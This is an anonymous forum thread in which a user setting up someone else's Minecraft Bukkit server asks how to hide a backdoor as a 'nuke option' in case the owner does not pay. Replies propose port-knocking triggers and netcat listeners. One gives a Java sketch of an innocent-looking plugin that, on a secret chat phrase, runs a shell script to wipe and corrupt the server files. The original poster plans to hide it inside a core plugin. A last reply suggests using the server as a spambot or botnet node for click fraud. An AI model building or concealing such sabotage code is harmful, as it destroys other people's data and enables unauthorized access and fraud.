Hello all. I have a quick question. I am currently setting up a linux bukkit server owned by someone else, mostly via putty and filezilla. I am supposed to receive a profits percentage from said server. However, in the event that they scam me upon it's completion, what would be the best way of going about setting up a hidden backdoor? I just want to be able to kind of have a nuke option so they can't profit from my work.
Why bother with a backdoor? Just use port knocking to have a pre-written script execute.
You do know what port knocking is don't you?
I suspect you know more about fart knocking.
Name:
Anonymous2013-01-26 12:54
netcat listen on port 666 to execute... i feel like that's gonna get noticed. i mean if i try to run anything, they could just type top and bam its on the cpu usage.
And yes. I mean I guess they wouldn't notice long enough for a script to just delete the folder. i'm gonna have to double check how (if ever) they do their backups. that or write a world file corrupting script.
works just fine for when someone adverts their 20man on your server...
you're being a bit narrow minded by limiting your thinking to DoS.
Name:
Anonymous2013-01-26 14:49
Learn to write a bukkit plugin, implement a backdoor or two, like a server nuke that deletes everything from the server folder and corrupts as much as possible. To avoid file locking on the server .jar I'd suggest you execute a sh script and call System.exit(0) from java. Sleep a few seconds in the sh script then nuke the fucker off the map.
I'd suggest this be implemented something like this:
// Bonus points for integrating this with another plugin,
// but be careful as they might try to update it
public class SomeInnocuousPlugin extends JavaPlugin {
// innocuous shit here
@Override public void onEnable() {
// normal onEnable hook here, then
getServer().getPluginManager().registerEvents(this, new Listener() {
@EventHandler void handle(AsyncPlayerChatEvent evt) {
if (evt.getMessage().trim().equalsIgnoreCase("--yo this shits wack--")) {
// output a "shit.sh" here, then
Runtime.getRuntime().exec("/bin/sh shit.sh");
}
}
}
}
}
i like your style. i would most likely embed such a script somewhere in Multiverse, with a random obscure command i could issue. I admin the server, it would just be sort of a backup/contingency plan... Multiverse core is a pain in the ass to mess with/critical to server so it's doubtful they will update it anytime soon.
>>10 oh and if you haven't got it yet, think proxy node, spambot, reply bot for hire, attach it to a botnet for click spoofing/selling pageviews... thats just off the top of my head